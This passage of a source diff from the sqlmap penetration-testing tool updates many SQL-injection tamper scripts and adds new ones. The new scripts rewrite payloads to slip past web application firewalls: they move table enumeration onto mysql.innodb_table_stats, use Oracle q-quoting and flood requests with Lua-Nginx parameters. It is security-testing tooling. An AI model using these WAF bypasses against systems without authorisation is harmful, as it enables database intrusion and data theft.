2006-2026 sqlmap developers (https://sqlmap.org) See the file 'doc/COPYING' for copying permission """ from lib.core.compat import xrange from lib.core.enums import PRIORITY +from lib.core.settings import REPLACEMENT_MARKER __priority__ = PRIORITY.HIGHEST @@ -35,25 +36,30 @@ def tamper(payload, **kwargs): 'SELECT CASE WHEN (1=1) THEN (SELECT "foo") ELSE (NULL) END' """ - if payload and payload.find("IF") > -1: + if payload and payload.find("IF(") > -1: + payload = payload.replace("()", REPLACEMENT_MARKER) while payload.find("IF(") > -1: index = payload.find("IF(") depth = 1 commas, end = [], None + quote, doublequote = False, False for i in xrange(index + len("IF("), len(payload)): - if depth == 1 and payload[i] == ',': - commas.append(i) - - elif depth == 1 and payload[i] == ')': - end = i - break - - elif payload[i] == '(': - depth += 1 - - elif payload[i] == ')': - depth -= 1 + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if depth == 1 and payload[i] == ',': + commas.append(i) + elif depth == 1 and payload[i] == ')': + end = i + break + elif payload[i] == '(': + depth += 1 + elif payload[i] == ')': + depth -= 1 if len(commas) == 2 and end: a = payload[index + len("IF("):commas[0]].strip("()") @@ -64,4 +70,6 @@ def tamper(payload, **kwargs): else: break + payload = payload.replace(REPLACEMENT_MARKER, "()") + return payload diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py index e8b5de7d333..9d94e467145 100644 --- a/tamper/ifnull2casewhenisnull.py +++ b/tamper/ifnull2casewhenisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'doc/COPYING' for copying permission """ @@ -33,25 +33,29 @@ def tamper(payload, **kwargs): 'CASE WHEN ISNULL(1) THEN (2) ELSE (1) END' """ - if payload and payload.find("IFNULL") > -1: + if payload and payload.find("IFNULL(") > -1: while payload.find("IFNULL(") > -1: index = payload.find("IFNULL(") depth = 1 comma, end = None, None + quote, doublequote = False, False for i in xrange(index + len("IFNULL("), len(payload)): - if depth == 1 and payload[i] == ',': - comma = i - - elif depth == 1 and payload[i] == ')': - end = i - break - - elif payload[i] == '(': - depth += 1 - - elif payload[i] == ')': - depth -= 1 + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if depth == 1 and payload[i] == ',': + comma = i + elif depth == 1 and payload[i] == ')': + end = i + break + elif payload[i] == '(': + depth += 1 + elif payload[i] == ')': + depth -= 1 if comma and end: _ = payload[index + len("IFNULL("):comma] diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index 6fac2758f7c..3ede6ac358f 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -33,25 +33,29 @@ def tamper(payload, **kwargs): 'IF(ISNULL(1),2,1)' """ - if payload and payload.find("IFNULL") > -1: + if payload and payload.find("IFNULL(") > -1: while payload.find("IFNULL(") > -1: index = payload.find("IFNULL(") depth = 1 comma, end = None, None + quote, doublequote = False, False for i in xrange(index + len("IFNULL("), len(payload)): - if depth == 1 and payload[i] == ',': - comma = i - - elif depth == 1 and payload[i] == ')': - end = i - break - - elif payload[i] == '(': - depth += 1 - - elif payload[i] == ')': - depth -= 1 + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if depth == 1 and payload[i] == ',': + comma = i + elif depth == 1 and payload[i] == ')': + end = i + break + elif payload[i] == '(': + depth += 1 + elif payload[i] == ')': + depth -= 1 if comma and end: _ = payload[index + len("IFNULL("):comma] diff --git a/tamper/informationschemacomment.py b/tamper/informationschemacomment.py index 8272ec280d4..bb977b90229 100644 --- a/tamper/informationschemacomment.py +++ b/tamper/informationschemacomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/infoschema2innodb.py b/tamper/infoschema2innodb.py new file mode 100644 index 00000000000..053242cc531 --- /dev/null +++ b/tamper/infoschema2innodb.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Rewrites MySQL table-enumeration off 'information_schema.tables' onto the InnoDB statistics + table 'mysql.innodb_table_stats' (table_schema -> database_name), to dodge WAF rules that flag + the 'information_schema' name (e.g. OWASP CRS 942140 'common DB names') + + Requirement: + * MySQL + + Notes: + * 'information_schema' is a hard token for anomaly-scoring WAFs (CRS rule 942140), so table + enumeration is blocked even when the single-character read itself is not. 'mysql.innodb_table_stats' + exposes (database_name, table_name) for every InnoDB table and is NOT on those blocklists, so the + same enumeration passes. Pair with 'blindbinary' to also get the per-character read through. + * Only InnoDB tables are listed (no MyISAM/MEMORY tables, no views) and SELECT on the 'mysql' + schema is required (granted to root and most admin users). + * Column enumeration (information_schema.columns) has no such InnoDB equivalent; provide the + columns explicitly (-C) when behind such a WAF, or fall back to common-columns brute forcing. + + >>> tamper('SELECT table_name FROM information_schema.tables WHERE table_schema=0x6d6173746572 LIMIT 0,1') + 'SELECT table_name FROM mysql.innodb_table_stats WHERE database_name=0x6d6173746572 LIMIT 0,1' + >>> tamper('SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x61') + 'SELECT COUNT(table_name) FROM mysql.innodb_table_stats WHERE database_name=0x61' + >>> tamper('1 AND 1=1') + '1 AND 1=1' + """ + + retVal = payload + + if retVal and re.search(r"(?i)information_schema\.tables", retVal): + retVal = re.sub(r"(?i)information_schema\.tables", "mysql.innodb_table_stats", retVal) + retVal = re.sub(r"(?i)table_schema", "database_name", retVal) + + return retVal diff --git a/tamper/least.py b/tamper/least.py index d59f1a458eb..a4f84a5a9a3 100644 --- a/tamper/least.py +++ b/tamper/least.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/lowercase.py b/tamper/lowercase.py index 9d49eb3e4b1..ab0fa2e9a0c 100644 --- a/tamper/lowercase.py +++ b/tamper/lowercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/luanginx.py b/tamper/luanginx.py index b302e71d6ae..aca3e3a1b10 100644 --- a/tamper/luanginx.py +++ b/tamper/luanginx.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/luanginxmore.py b/tamper/luanginxmore.py new file mode 100644 index 00000000000..1d360db1005 --- /dev/null +++ b/tamper/luanginxmore.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import random +import string +import os + +from lib.core.compat import xrange +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import HINT +from lib.core.enums import PRIORITY +from lib.core.settings import DEFAULT_GET_POST_DELIMITER + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run on POST requests" % (os.path.basename(__file__).split(".")[0])) + +def tamper(payload, **kwargs): + """ + LUA-Nginx WAFs Bypass (e.g. Cloudflare) with 4.2 million parameters + + Reference: + * https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/ + + Notes: + * Lua-Nginx WAFs do not support processing of huge number of parameters + """ + + hints = kwargs.get("hints", {}) + delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER) + + hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.ascii_letters + string.digits, 2)) for _ in xrange(4194304)) + + return payload diff --git a/tamper/misunion.py b/tamper/misunion.py index 9f1c5d95756..062f049cc0c 100644 --- a/tamper/misunion.py +++ b/tamper/misunion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py index 25c66f0bcae..458497706cd 100644 --- a/tamper/modsecurityversioned.py +++ b/tamper/modsecurityversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py index 0d3ca440ede..0cf1dd511aa 100644 --- a/tamper/modsecurityzeroversioned.py +++ b/tamper/modsecurityzeroversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index b3cd78c06da..ab02a0c911c 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/oraclequote.py b/tamper/oraclequote.py new file mode 100644 index 00000000000..6b0416357d9 --- /dev/null +++ b/tamper/oraclequote.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ORACLE)) + +def tamper(payload, **kwargs): + """ + Replaces single-quoted strings with Oracle alternative-quoted strings (e.g. 'abc' -> q'[abc]') + + Requirement: + * Oracle 10g+ + + Tested against: + * Oracle 11g, 12c, 18c, 19c, 21c, 23ai + + Notes: + * Useful to bypass filters that block, strip or escape the single-quote + character: q-quoting delimits the literal with a chosen bracket/char + so the inner text needs no quote at all + * The first delimiter whose characters are absent from the literal is + used; a literal that contains every candidate delimiter is left untouched + + >>> tamper("SELECT 'abc' FROM DUAL") + "SELECT q'[abc]' FROM DUAL" + """ + + def _quote(match): + value = match.group(1) + for start, end in (("[", "]"), ("{", "}"), ("(", ")"), ("<", ">"), ("!", "!"), ("|", "|"), ("#", "#")): + if start not in value and end not in value: + return "q'%s%s%s'" % (start, value, end) + return match.group(0) + + retVal = payload + + if payload: + retVal = re.sub(r"'([^']*)'", _quote, payload) + + return retVal diff --git a/tamper/ord2ascii.py b/tamper/ord2ascii.py index b7b0676b4ff..7e59ecb2ae6 100644 --- a/tamper/ord2ascii.py +++ b/tamper/ord2ascii.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -16,11 +16,9 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces ORD() occurences with equivalent ASCII() calls - + Replaces ORD() occurences with equivalent ASCII() calls Requirement: * MySQL - >>> tamper("ORD('42')") "ASCII('42')" """ diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py index ba8de68b50e..75bd678e775 100644 --- a/tamper/overlongutf8.py +++ b/tamper/overlongutf8.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/overlongutf8more.py b/tamper/overlongutf8more.py index 343312e0bc6..391464f6ef7 100644 --- a/tamper/overlongutf8more.py +++ b/tamper/overlongutf8more.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/percentage.py b/tamper/percentage.py index e65dc957373..6230e2fa57d 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -11,7 +11,7 @@ from lib.core.common import singleTimeWarnMessage from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOW +__priority__ = PRIORITY.LOWEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP web applications" % os.path.basename(__file__).split(".")[0]) @@ -35,6 +35,8 @@ def tamper(payload, **kwargs): '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' """ + retVal = payload + if payload: retVal = "" i = 0 diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py index b7f862aa9e8..a1738a11079 100644 --- a/tamper/plus2concat.py +++ b/tamper/plus2concat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py index 39cd9ed2501..0706275e904 100644 --- a/tamper/plus2fnconcat.py +++ b/tamper/plus2fnconcat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/randomcase.py b/tamper/randomcase.py index b2737445e5d..9535444cc33 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -61,6 +61,6 @@ def tamper(payload, **kwargs): if len(_) > 1 and _ not in (_.lower(), _.upper()): break - retVal = retVal.replace(word, _) + retVal = re.sub(r"\b%s\b" % word, _, retVal) return retVal diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index a6d378f2113..5e25d073212 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -16,7 +16,7 @@ def tamper(payload, **kwargs): """ - Add random inline comments inside SQL keywords (e.g. SELECT -> S/**/E/**/LECT) + Inserts random inline comments within SQL keywords (e.g. SELECT -> S/**/E/**/LECT) >>> import random >>> random.seed(0) @@ -45,6 +45,6 @@ def tamper(payload, **kwargs): index = randomRange(1, len(word) - 1) _ = word[:index] + "/**/" + word[index:] - retVal = retVal.replace(word, _) + retVal = re.sub(r"\b%s\b" % word, _, retVal) return retVal diff --git a/tamper/schemasplit.py b/tamper/schemasplit.py index c05b45ad0c4..07a4b2a7bbe 100644 --- a/tamper/schemasplit.py +++ b/tamper/schemasplit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/scientific.py b/tamper/scientific.py index 95f40158153..a9dc194dccf 100644 --- a/tamper/scientific.py +++ b/tamper/scientific.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/sleep2getlock.py b/tamper/sleep2getlock.py index 5fb1cd01a49..cf2797936a3 100644 --- a/tamper/sleep2getlock.py +++ b/tamper/sleep2getlock.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/sp_password.py b/tamper/sp_password.py index a693712c64b..95ec9dc489e 100644 --- a/tamper/sp_password.py +++ b/tamper/sp_password.py @@ -1,13 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY -__priority__ = PRIORITY.HIGH +__priority__ = PRIORITY.LOWEST def tamper(payload, **kwargs): """ diff --git a/tamper/space2comment.py b/tamper/space2comment.py index 59689836a0f..016b17cc6c4 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -43,10 +43,10 @@ def tamper(payload, **kwargs): retVal += "/**/" continue - elif payload[i] == '\'': + elif payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): quote = not quote - elif payload[i] == '"': + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: diff --git a/tamper/space2dash.py b/tamper/space2dash.py index b23000831fa..88ccea33d6e 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -34,13 +34,23 @@ def tamper(payload, **kwargs): retVal = "" if payload: + quote, doublequote = False, False + for i in xrange(len(payload)): - if payload[i].isspace(): - randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) - retVal += "--%s%%0A" % randomStr - elif payload[i] == '#' or payload[i:i + 3] == '-- ': - retVal += payload[i:] - break + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if payload[i].isspace(): + randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) + retVal += "--%s%%0A" % randomStr + elif payload[i] == '#' or payload[i:i + 3] == '-- ': + retVal += payload[i:] + break + else: + retVal += payload[i] else: retVal += payload[i] diff --git a/tamper/space2hash.py b/tamper/space2hash.py index 9cc18554679..cf7ac3323da 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -42,13 +42,23 @@ def tamper(payload, **kwargs): retVal = "" if payload: + quote, doublequote = False, False + for i in xrange(len(payload)): - if payload[i].isspace(): - randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) - retVal += "%%23%s%%0A" % randomStr - elif payload[i] == '#' or payload[i:i + 3] == '-- ': - retVal += payload[i:] - break + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if payload[i].isspace(): + randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) + retVal += "%%23%s%%0A" % randomStr + elif payload[i] == '#' or payload[i:i + 3] == '-- ': + retVal += payload[i:] + break + else: + retVal += payload[i] else: retVal += payload[i] diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py index bd29e1d6f88..9db2791c9f4 100644 --- a/tamper/space2morecomment.py +++ b/tamper/space2morecomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -40,10 +40,10 @@ def tamper(payload, **kwargs): retVal += "/**_**/" continue - elif payload[i] == '\'': + elif payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): quote = not quote - elif payload[i] == '"': + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index 77ff792c9fa..a079a2ecedd 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -54,15 +54,25 @@ def process(match): retVal = "" if payload: - payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, payload) + payload = re.sub(r"(?:^|(?<=\W))(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", process, payload) + + quote, doublequote = False, False for i in xrange(len(payload)): - if payload[i].isspace(): - randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) - retVal += "%%23%s%%0A" % randomStr - elif payload[i] == '#' or payload[i:i + 3] == '-- ': - retVal += payload[i:] - break + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if payload[i].isspace(): + randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) + retVal += "%%23%s%%0A" % randomStr + elif payload[i] == '#' or payload[i:i + 3] == '-- ': + retVal += payload[i:] + break + else: + retVal += payload[i] else: retVal += payload[i] diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index 01a3f6b93da..1754e630b09 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -67,10 +67,10 @@ def tamper(payload, **kwargs): retVal += random.choice(blanks) continue - elif payload[i] == '\'': + elif payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): quote = not quote - elif payload[i] == '"': + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): doublequote = not doublequote elif payload[i] == '#' or payload[i:i + 3] == '-- ': diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index abe95af15f5..880fdb8f954 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -15,11 +15,12 @@ def tamper(payload, **kwargs): Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') Requirement: - * MSSQL * MySQL Notes: * Useful to bypass several web application firewalls + * The '#' single-line comment used here is MySQL-only (despite this script's legacy name); + T-SQL has no '#' comment, so it does not apply to Microsoft SQL Server >>> tamper('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' @@ -28,12 +29,22 @@ def tamper(payload, **kwargs): retVal = "" if payload: + quote, doublequote = False, False + for i in xrange(len(payload)): - if payload[i].isspace(): - retVal += "%23%0A" - elif payload[i] == '#' or payload[i:i + 3] == '-- ': - retVal += payload[i:] - break + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if payload[i].isspace(): + retVal += "%23%0A" + elif payload[i] == '#' or payload[i:i + 3] == '-- ': + retVal += payload[i:] + break + else: + retVal += payload[i] else: retVal += payload[i] diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index 32e18e7e582..ec5b7ffe5dc 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -57,10 +57,10 @@ def tamper(payload, **kwargs): retVal += random.choice(blanks) continue - elif payload[i] == '\'': + elif payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): quote = not quote - elif payload[i] == '"': + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index 2c54f9a6a82..40023493212 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -35,12 +35,22 @@ def tamper(payload, **kwargs): retVal = "" if payload: + quote, doublequote = False, False + for i in xrange(len(payload)): - if payload[i].isspace(): - retVal += "--%0A" - elif payload[i] == '#' or payload[i:i + 3] == '-- ': - retVal += payload[i:] - break + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if payload[i].isspace(): + retVal += "--%0A" + elif payload[i] == '#' or payload[i:i + 3] == '-- ': + retVal += payload[i:] + break + else: + retVal += payload[i] else: retVal += payload[i] diff --git a/tamper/space2plus.py b/tamper/space2plus.py index d46f4106454..1856b7718f0 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -38,10 +38,10 @@ def tamper(payload, **kwargs): retVal += "+" continue - elif payload[i] == '\'': + elif payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): quote = not quote - elif payload[i] == '"': + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index 880fcc08e68..ac86ffc4762 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -52,10 +52,10 @@ def tamper(payload, **kwargs): retVal += random.choice(blanks) continue - elif payload[i] == '\'': + elif payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): quote = not quote - elif payload[i] == '"': + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): doublequote = not doublequote elif payload[i] == ' ' and not doublequote and not quote: diff --git a/tamper/substring2leftright.py b/tamper/substring2leftright.py index 773ae330078..9df851a584f 100644 --- a/tamper/substring2leftright.py +++ b/tamper/substring2leftright.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/symboliclogical.py b/tamper/symboliclogical.py 